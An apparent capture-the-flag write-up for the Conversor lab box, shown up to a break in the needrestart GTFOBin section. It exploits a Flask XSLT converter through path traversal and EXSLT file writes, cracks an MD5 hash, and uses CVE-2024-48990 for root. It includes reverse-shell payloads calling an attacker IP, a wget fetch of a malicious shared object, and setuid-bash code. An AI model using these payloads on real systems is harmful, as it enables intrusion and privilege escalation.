Conversor

Conversor is a Linux box hosting a Flask web application that converts nmap XML output to HTML using XSLT. I’ll find the source code and exploit insecure use of os.path.join to write a Python reverse shell into a cron-executed scripts directory, or alternatively abuse XSLT’s exslt:document extension to write files to the server. From there, I’ll find an MD5-hashed password in the SQLite database and crack it to pivot to the next user. For root, I’ll exploit CVE-2024-48990 in needrestart by poisoning the PYTHONPATH environment variable, or abuse needrestart’s Perl config file to get direct code execution.

Box Info

Release Date 25 Oct 2025
Retire Date 21 Mar 2026
OS Linux Linux
Rated Difficulty Rated difficulty for Conversor
Radar Graph Radar chart for Conversor
User
00:09:04NLTE
Root
00:21:57NLTE
Creator FisMatHack

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.238.31
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-07 21:38 UTC
...[snip]...
Nmap scan report for 10.129.238.31
Host is up, received echo-reply ttl 63 (0.022s latency).
Scanned at 2026-03-07 21:38:39 UTC for 10s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 9.87 seconds
           Raw packets sent: 97133 (4.274MB) | Rcvd: 65632 (2.626MB)
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.238.31
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-07 21:39 UTC
Nmap scan report for 10.129.238.31
Host is up (0.022s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy LTS (or maybe 22.10 kinetic).

Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

There’s a redirect to conversor.htb on port 80. I’ll use ffuf to bruteforce for subdomains that respond differently, but not find any. I’ll update my hosts file:

10.129.238.31 conversor.htb

I’ll rescan port 80 with the hostname, but not find anything interesting.

Website - TCP 80

Site

Visiting the site just redirects to /login:

image-20260307164741465

The link to “Register” goes to /register:

image-20260307164805394

After logging in, the page at / is a form to convert nmap output to a nicer format:

image-20260307164922933

The template available for download downloads as nmap.xslt:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="html" indent="yes" />

  <xsl:template match="/">
    <html>
      <head>
        <title>Nmap Scan Results</title>
        <style>
          body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(120deg, #141E30, #243B55);
            color: #eee;
            margin: 0;
            padding: 0;
          }
          h1, h2, h3 {
            text-align: center;
            font-weight: 300;
          }
          .card {
            background: rgba(255, 255, 255, 0.05);
            margin: 30px auto;
            padding: 20px;
            border-radius: 12px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.5);
            width: 80%;
          }
          table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 15px;
          }
          th, td {
            padding: 10px;
            text-align: center;
          }
          th {
            background: rgba(255,255,255,0.1);
            color: #ffcc70;
            font-weight: 600;
            border-bottom: 2px solid rgba(255,255,255,0.2);
          }
          tr:nth-child(even) {
            background: rgba(255,255,255,0.03);
          }
          tr:hover {
            background: rgba(255,255,255,0.1);
          }
          .open {
            color: #00ff99;
            font-weight: bold;
          }
          .closed {
            color: #ff5555;
            font-weight: bold;
          }
          .host-header {
            font-size: 20px;
            margin-bottom: 10px;
            color: #ffd369;
          }
          .ip {
            font-weight: bold;
            color: #00d4ff;
          }
        </style>
      </head>
      <body>
        <h1>Nmap Scan Report</h1>
        <h3><xsl:value-of select="nmaprun/@args"/></h3>

        <xsl:for-each select="nmaprun/host">
          <div class="card">
            <div class="host-header">
              Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
              <xsl:if test="hostnames/hostname/@name">
                (<xsl:value-of select="hostnames/hostname/@name"/>)
              </xsl:if>
            </div>
            <table>
              <tr>
                <th>Port</th>
                <th>Protocol</th>
                <th>Service</th>
                <th>State</th>
              </tr>
              <xsl:for-each select="ports/port">
                <tr>
                  <td><xsl:value-of select="@portid"/></td>
                  <td><xsl:value-of select="@protocol"/></td>
                  <td><xsl:value-of select="service/@name"/></td>
                  <td>
                    <xsl:attribute name="class">
                      <xsl:value-of select="state/@state"/>
                    </xsl:attribute>
                    <xsl:value-of select="state/@state"/>
                  </td>
                </tr>
              </xsl:for-each>
            </table>
          </div>
        </xsl:for-each>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

It’s a template to build a webpage from some given XML. I’ll re-run nmap with -oX nmap.xml to create an nmap.xml:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE nmaprun>
<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
<!-- Nmap 7.94SVN scan initiated Sat Mar  7 21:52:53 2026 as: nmap -p 22,80 -sCV -oX nmap.xml conversor.htb -->
<nmaprun scanner="nmap" args="nmap -p 22,80 -sCV -oX nmap.xml conversor.htb" start="1772920373" startstr="Sat Mar  7 21:52:53 2026" version="7.94SVN" xmloutputversion="1.05">
<scaninfo type="syn" protocol="tcp" numservices="2" services="22,80"/>
<verbose level="0"/>
<debugging level="0"/>
<hosthint><status state="up" reason="unknown-response" reason_ttl="0"/>
<address addr="10.129.238.31" addrtype="ipv4"/>
<hostnames>
<hostname name="conversor.htb" type="user"/>
</hostnames>
</hosthint>
<host starttime="1772920373" endtime="1772920381"><status state="up" reason="echo-reply" reason_ttl="63"/>
<address addr="10.129.238.31" addrtype="ipv4"/>
<hostnames>
<hostname name="conversor.htb" type="user"/>
</hostnames>
<ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="ssh" product="OpenSSH" version="8.9p1 Ubuntu 3ubuntu0.13" extrainfo="Ubuntu Linux; protocol 2.0" ostype="Linux" method="probed" conf="10"><cpe>cpe:/a:openbsd:openssh:8.9p1</cpe><cpe>cpe:/o:linux:linux_kernel</cpe></service><script id="ssh-hostkey" output="&#xa;  256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)&#xa;  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)"><table>
<elem key="key">AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ9JqBn+xSQHg4I+jiEo+FiiRUhIRrVFyvZWz1pynUb/txOEximgV3lqjMSYxeV/9hieOFZewt/ACQbPhbR/oaE=</elem>
<elem key="bits">256</elem>
<elem key="fingerprint">0174263947bc6ae2cb128b71849cf85a</elem>
<elem key="type">ecdsa-sha2-nistp256</elem>
</table>
<table>
<elem key="key">AAAAC3NzaC1lZDI1NTE5AAAAIIR1sFcTPihpLp0OemLScFRf8nSrybmPGzOs83oKikw+</elem>
<elem key="bits">256</elem>
<elem key="fingerprint">3a1690dc74d8e3c45136e208062617ee</elem>
<elem key="type">ssh-ed25519</elem>
</table>
</script></port>
<port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="http" product="Apache httpd" version="2.4.52" hostname="conversor.htb" method="probed" conf="10"><cpe>cpe:/a:apache:http_server:2.4.52</cpe></service><script id="http-title" output="Login&#xa;Requested resource was /login"><elem key="title">Login</elem>
<elem key="redirect_url">/login</elem>
</script><script id="http-server-header" output="Apache/2.4.52 (Ubuntu)"><elem>Apache/2.4.52 (Ubuntu)</elem>
</script></port>
</ports>
<times srtt="21553" rttvar="12253" to="100000"/>
</host>
<runstats><finished time="1772920381" timestr="Sat Mar  7 21:53:01 2026" summary="Nmap done at Sat Mar  7 21:53:01 2026; 1 IP address (1 host up) scanned in 8.39 seconds" elapsed="8.39" exit="success"/><hosts up="1" down="0" total="1"/>
</runstats>
</nmaprun>

If I upload the scan XML and the example XSLT, it shows up in “Your Uploaded Files”:

image-20260307165436431

Clicking on it makes a nice page:

image-20260307165454646

There’s also an About page in the menu, which leads to /about:

image-20260307165542797

I’ll note the potential usernames. The source downloads as source_code.tar.gz.

Tech Stack

The HTTP response headers don’t show anything particularly interesting besides Apache:

HTTP/1.1 302 FOUND
Date: Sat, 07 Mar 2026 21:47:22 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 199
Location: /login
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8

I’m not able to guess any extensions on the various paths. The 404 page is the default Flask 404:

image-20260307165713372

This is likely a Python Flask application. I’ll skip doing a directory brute force as I have the source code.

Source Code

Overview

I’ll create a src directory and unpack the archive into it:

oxdf@hacky$ mkdir src
oxdf@hacky$ tar xf source_code.tar.gz -C src/
oxdf@hacky$ ls src/
app.py  app.wsgi  install.md  instance  scripts  static  templates  uploads

The file structure looks like:

📁 src/
├── 📄 app.py# main flask application
├── 📄 app.wsgi
├── 📄 install.md
├── 📁 instance/
│ └── 📄 users.db
├── 📁 scripts/
├── 📁 static/
│ ├── 📁 images/
│ │ ├── 📄 arturo.png
│ │ ├── 📄 david.png
│ │ └── 📄 fismathack.png
│ ├── 📄 nmap.xslt
│ └── 📄 style.css
├── 📁 templates/
│ ├── 📄 about.html
│ ├── 📄 base.html
│ ├── 📄 index.html
│ ├── 📄 login.html
│ ├── 📄 register.html
│ └── 📄 result.html
└── 📁 uploads/

instance has the database as a SQLite file:

oxdf@hacky$ ls instance/
users.db

It has files and users tables, but both are empty.

scripts and uploads are empty.

static has the CSS, images, and the downloadable example .xslt:

oxdf@hacky$ find static/ -type f
static/style.css
static/nmap.xslt
static/images/arturo.png
static/images/david.png
static/images/fismathack.png

templates has the templates for the pages I’ve seen:

oxdf@hacky$ ls templates/
about.html  base.html  index.html  login.html  register.html  result.html

install.md has instructions for setting up a local copy of the site (weirdly not in markdown):

To deploy Conversor, we can extract the compressed file:

"""
tar -xvf source_code.tar.gz
"""

We install flask:

"""
pip3 install flask
"""

We can run the app.py file:

"""
python3 app.py
"""

You can also run it with Apache using the app.wsgi file.

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""

This leaks that the server is running all Python files in /var/www/conversor.htb/scripts every minute!

app.py

app.py is a single-file Flask application with some setup, two helper DB functions, and seven routes defined:

from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid

app = Flask(__name__)
app.secret_key = 'Changemeplease'

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def init_db():
...[snip]...

init_db()

def get_db():
...[snip]...

@app.route('/')
def index():
...[snip]...

@app.route('/register', methods=['GET','POST'])
def register():
...[snip]...

@app.route('/logout')
def logout():
...[snip]...

@app.route('/about')
def about():
...[snip]...

@app.route('/login', methods=['GET','POST'])
def login():
...[snip]...

@app.route('/convert', methods=['POST'])
def convert():
...[snip]...

@app.route('/view/<file_id>')
def view_file(file_id):
...[snip]...

The most interesting endpoint is /convert, which takes a POST request with an XML file and a XSLT:

@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

There are a few interesting things in here to dig into further. Flask is using os.path.join, so I’ll want to look for directory traversal vulnerabilities. XML / XSLT parsing is also risky and something I’ll explore.

Shell as www-data

XSLT Enumeration

PayloadsAllTheThings has a page on XSLT injection. The first section is on how to enumerate the vendor and version of the XSLT processor:

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>

When I upload that (with any XML), it shows the XSLT processor is libxslt version 1.0:

image-20260308141929806

File read - Fail

In the code, creating the XML parser with resolve_entities=False means that won’t be vulnerable to an XXE attack:

parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)

However, that parser is not used in the XSLT parsing:

xslt_tree = etree.parse(xslt_path)

This means that entities and external references in the XSLT file will be resolved with default (permissive) settings, which in theory should allow reading files. I’ll try first via XXE:

<?xml version="1.0"?>
<!DOCTYPE xsl:stylesheet [
  <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html><body><pre>&content;</pre></body></html>
  </xsl:template>
</xsl:stylesheet>

When I submit that, it errors out:

image-20260308142450142

I’ll try via the document function as well:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html>
      <body>
        <pre>
          <xsl:copy-of select="document('/etc/passwd')"/>
        </pre>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

Uploading this fails differently:

image-20260308142613241

This is libxslt saying that it can’t parse an XML file. In fact, if /etc/passwd were XML, it would display it here. Other XSLT parsers may be able to handle this.

File Write

Overview

I’ll abuse two ways to get arbitrary write as the web user:

flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] --->|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] --->|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Website]-->B(<a href='#via-ospathjoin'>Abuse os.path.join</a>);
    B-->C(File Write)
    C-->D[Shell as www-data];
    A-->E(<a href='#via-xslt-abuse'>XSLT Abuse</a>);
    E-->C;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;

Via os.path.join

Both the XML and the XLST file are saved insecurely. I’ve abused os.path.join many times before (see OpenSource, OnlyForYou, Yummy, Titanic). The created HTML is saved safely because it randomly generates a name at creation time:

file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)

However, both the uploaded files are saved using user controlled names:

xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)

The thing that’s unsafe about os.path.join is that it:

  • Has no problem with ../ so will allow directory traversals if the input is not filtered.
  • If any argument passed in starts with /, all the others before it are ignored.

I’ll send the upload request to Burp Repeater and change both the files:

image-20260307174154173

I’ve updated the filenames, showing the first with a full path, and the second with a relative. Both have reverse shells calling back to different ports. On sending the request fails:

image-20260307174301523

It’s failing because the files aren’t XML, but the damage is already done. The files were saved to disk before the XML parsing step, and the cron job will execute them within a minute. I’ll get a connection on 443 first (xml_file):

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.238.31 38090
bash: cannot set terminal process group (3027): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$

As soon as I exit that shell, I get one on 445 (xslt_file):

oxdf@hacky$ nc -lnvp 445
Listening on 0.0.0.0 445
Connection received on 10.129.238.31 42700
bash: cannot set terminal process group (3027): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$

The cron job from install.md processes the scripts synchronously with a for loop, waiting for the first to end before running the second.

For either shell, I’ll upgrade using the standard trick:

www-data@conversor:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@conversor:~$ ^Z
[1]+  Stopped                 nc -lnvp 445
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 445
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@conversor:~$ 

Both files are in the scripts directory:

www-data@conversor:~/conversor.htb/scripts$ ls
0xdf2.py  0xdf.py  cleanup_uploads.py

Via XSLT Abuse

The EXSLT extensions include a document element that allows an XSLT stylesheet to write its output to a file at a given path, and libxslt supports it. To check for successful writing, I’ll first try to write to the static directory on the server, as those files are served directly:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/static/test.txt" method="text">0xdf was here!</exploit:document>
  </xsl:template>
</xsl:stylesheet>

I’ll try to access it directly:

oxdf@hacky$ curl http://conversor.htb/static/test.txt
0xdf was here!

I’ll update this to look like the Python script I want to write:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/static/test.py" method="text">
import os
os.system('bash -c "bash -i >%26 /dev/tcp/10.10.14.61/443 0>%261"')
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

URL-encoding the & doesn’t work since this is XML, not a URL. The %26 is written literally:

oxdf@hacky$ curl http://conversor.htb/static/test.py

import os
os.system('bash -c "bash -i >%26 /dev/tcp/10.10.14.61/443 0>%261"')

Since XSLT is XML, XML entity encoding (&amp;amp;) works. I’ll move this write into the scripts directory:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/test.py" method="text">
import os
os.system('bash -c "bash -i >&amp; /dev/tcp/10.10.14.61/443 0>&amp;1"')
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

After submitting this, after less than a minute, there’s a connection at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.238.31 43046
bash: cannot set terminal process group (29076): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$ 

Shell as fismathack

Enumeration

Users

There’s one user with a home directory in /home:

www-data@conversor:/home$ ls
fismathack

www-data has no access. This user matches the list of users with shells configured in passwd:

www-data@conversor:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
fismathack:x:1000:1000:fismathack:/home/fismathack:/bin/bash

Web

The website is run from /var/www/conversor.htb:

www-data@conversor:~/conversor.htb$ ls
app.py  app.wsgi  instance  __pycache__  scripts  static  templates  uploads

It looks just like the download. I’ll open the database:

www-data@conversor:~/conversor.htb$ sqlite3 instance/users.db 
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
files  users

It has the same tables as the empty one I downloaded. There are two users (one of which I created):

sqlite> select * from users;
id|username|password
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|0xdf|465e929fc1e0853025faad58fc8cb47d

SSH

Crack Hash

The source shows that the site saves passwords as MD5 hashes:

@app.route('/register', methods=['GET','POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()

I’ll send the fismathack user’s password to CrackStation:

image-20260308162615216

su / SSH

The password works for the fismathack user on Conversor with su:

www-data@conversor:~$ su - fismathack
Password: 
fismathack@conversor:~$ 

It also works over SSH:

oxdf@hacky$ sshpass -p Keepmesafeandwarm ssh fismathack@conversor.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-160-generic x86_64)
...[snip]...
fismathack@conversor:~$

I’ll grab user.txt:

fismathack@conversor:~$ cat user.txt
01ffa4cb************************

Shell as root

Enumeration

fismathack can run needrestart as any user without a password using sudo:

fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

This is a Perl script:

fismathack@conversor:~$ ls -l /usr/sbin/needrestart
-rwxr-xr-x 1 root root 43578 Jul 31  2025 /usr/sbin/needrestart
fismathack@conversor:~$ file /usr/sbin/needrestart 
/usr/sbin/needrestart: Perl script text executable

It’s version 3.7 from this open-source project:

fismathack@conversor:~$ sudo /usr/sbin/needrestart --version 2>&1 

needrestart 3.7 - Restart daemons after library updates.

Authors:
  Thomas Liske <thomas@fiasko-nw.net>

Copyright Holder:
  2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]

Upstream:
  https://github.com/liske/needrestart

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

needrestart is a utility commonly found on Ubuntu systems that checks which services need restarting after package upgrades. It works by scanning running processes through /proc to identify those still using outdated shared libraries. As part of this scanning, needrestart executes interpreter binaries (Python, Ruby, etc.) found in process memory maps to determine module dependencies.

Privesc

Identify CVEs

Searching for “needrestart 3.7 cve” returns a bunch of CVE references, most of which are CVE-2024-48990:

image-20260308163406622
CVE Issue
CVE-2024-48990 Abuse PYTHONPATH
CVE-2024-48992 Abuse RUBYLIB (not shown, but very similar to CVE-2024-48990)
CVE-2024-10224 / CVE-2024-11003 Abuse needrestart use of a vulnerable version of Perls ScanDeps, which is patched on Conversor.
CVE-2024-48991 TOCTOU (not shown, more complex)

There’s also a GTFObin in the config file.

There are actually several CVEs here that independently work. I’ll show CVE-2024-48990 two ways as well as the GTFObin:

flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] --->|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] --->|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Shell as fismathack]-->B(<a href='#cve-2024-48990-w-c'>CVE-2024-48990\nwith C</a>);
    B-->C[Shell as root];
    A-->E(<a href='#cve-2024-48990-w-python'>CVE-2024-48990\nwith Python</a>)
    E-->C;
    A-->D(<a href='#gtfobin'>Config GTFObin</a>);
    D-->C;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,4,5,6,7 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;

CVE-2024-48990 w/ C

NIST describes CVE-2024-48990 as:

Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable.

When needrestart runs Python, it uses the PYTHONPATH variable from the scanned process’ environment. This means that an attacker who controls a running process can set the PYTHONPATH and there are many ways to exploit that to get execution.

Most of the POCs involve creating a malicious importlib and putting an __init__.so that gets loaded. There’s a much easier way I’ll show in the next section. Either way, rather than use one of the POCs, I’ll just walk through the steps.

The POCs all start with a shared object. gcc isn’t installed on Conversor, so I’ll write one on my host:

#include <stdlib.h>
#include <unistd.h>


__attribute__((constructor))
void pwn() {
    if(geteuid() == 0) {
        system("cp /bin/bash /tmp/48990/bash && chmod 6777 /tmp/48990/bash");
    }
}

If it’s run as root, it will create a SetUID / SetGID copy of bash. I’ll compile this with gcc -shared -fPIC -o __init__.so setuid.c and host it via a Python webserver.

On Conversor, I’ll create a directory for my malicious module and upload the module:

fismathack@conversor:~$ mkdir -p /tmp/48990/importlib
fismathack@conversor:~$ wget 10.10.14.61/__init__.so -O /tmp/48990/importlib/__init__.so 
--2026-03-09 13:08:45--  http://10.10.14.61/__init__.so
Connecting to 10.10.14.61:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15600 (15K) [application/octet-stream]
Saving to: ‘/tmp/48990/importlib/__init__.so’

/tmp/48990/importlib/__init__.so  100%[============================================================>]  15.23K  --.-KB/s    in 0.02s   

2026-03-09 13:08:45 (735 KB/s) - ‘/tmp/48990/importlib/__init__.so’ saved [15600/15600]

When Python tries to load importlib and that directory is in the PYTHONPATH, it will load __init__.so.

I need a long running Python process that needrestart can find. I’ll create a simple script:

import time
from pathlib import Path

while True:
    if Path("/tmp/48990/bash").exists():
        print("Exploit worked!")
        break
    time.sleep(1)

I’ll run this, giving it a PYTHONPATH of this directory:

fismathack@conversor:/tmp/48990$ PYTHONPATH=/tmp/48990 python3 run.py 
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:

  Traceback (most recent call last):
    File "/usr/lib/python3.10/site.py", line 192, in addpackage
      exec(line)
    File "<string>", line 1, in <module>
  ImportError: dynamic module does not define module export function (PyInit_importlib)

Remainder of file ignored

It prints an error and hangs. That error is because my library isn’t set up how Python expects it. That doesn’t matter here, as the constructor is still called (and in this case since it’s running as a non-root account does nothing).

While the Python process is running, I’ll use another SSH terminal to run needrestart:

fismathack@conversor:~$ sudo needrestart 
Scanning processes...                                                                                                                  
Scanning linux images...                                                                                                               

Running kernel seems to be up-to-date.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (qemu) binaries on this host.

In the other window, the script exits and the SetUID / SetGID bash is there:

Remainder of file ignored
Exploit worked!
fismathack@conversor:/tmp/48990$
fismathack@conversor:/tmp/48990$ ls -l bash 
-rwsrwsrwx 1 root root 1396520 Mar  9 13:17 bash

-p will prevent bash from dropping privs:

fismathack@conversor:/tmp/48990$ ./bash -p
bash-5.1# 

And I’ll grab the flag:

bash-5.1# cat /root/root.txt
7450d9c6************************

CVE-2024-48990 w/ Python

Just like above, but I don’t need to create a shared library. The __init__ can also be in Python as a .py file. My run.py looks like (same as above, but a different path):

import time
from pathlib import Path

while True:
    if Path("/tmp/0xdf").exists():
        print("Exploit worked!")
        break
    time.sleep(1)

My importlib/__init__.py is:

import os

if os.geteuid() == 0:
    os.system("cp /bin/bash /tmp/0xdf && chmod 6777 /tmp/0xdf")

This time I’m working out of /dev/shm:

fismathack@conversor:/dev/shm$ PYTHONPATH=/dev/shm python3 run.py 
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:

  Traceback (most recent call last):
    File "/usr/lib/python3.10/site.py", line 192, in addpackage
      exec(line)
    File "<string>", line 1, in <module>
  ModuleNotFoundError: No module named 'importlib.util'

Remainder of file ignored

run.py throws some errors and then hangs (in the while loop).

Now I’ll run sudo needrestart in another terminal. The exploit completes:

fismathack@conversor:/dev/shm$ PYTHONPATH=/dev/shm python3 run.py
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:

  Traceback (most recent call last):
    File "/usr/lib/python3.10/site.py", line 192, in addpackage
      exec(line)
    File "<string>", line 1, in <module>
  ModuleNotFoundError: No module named 'importlib.util'

Remainder of file ignored
Exploit worked!

And the shell is there:

fismathack@conversor:/dev/shm$ ls -l /tmp/0xdf 
-rwsrwsrwx 1 root root 1396520 Mar 7 22:42 /tmp/0xdf

GTFOBin

It wasn’t on GTFObins when Conversor released, but there’s a simple way to take sudo needrestart to execution of arbitrary Perl as root.

needrestart’s help shows a bunch of options:

fismathack@conversor:~$ sudo needrestart --help
...[snip]...
Usage:

  needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]

    -v          be more verbose
    -q          be quiet
    -m <mode>   set detail level
        e       (e)asy mode
        a       (a)dvanced mode
    -n          set default answer to 'no'
    -c <cfg>    config filename
    -r <mode>   set restart mode
        l       (l)ist only
        i       (i)nteractive restart
        a       (a)utomatically restart
    -b          enable batch mode
    -p          enable nagios plugin mode
    -o          enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
    -f <fe>     override debconf frontend (DEBIAN_FRONTEND, debconf(7))
    -t <seconds> tolerate interpreter process start times within this value
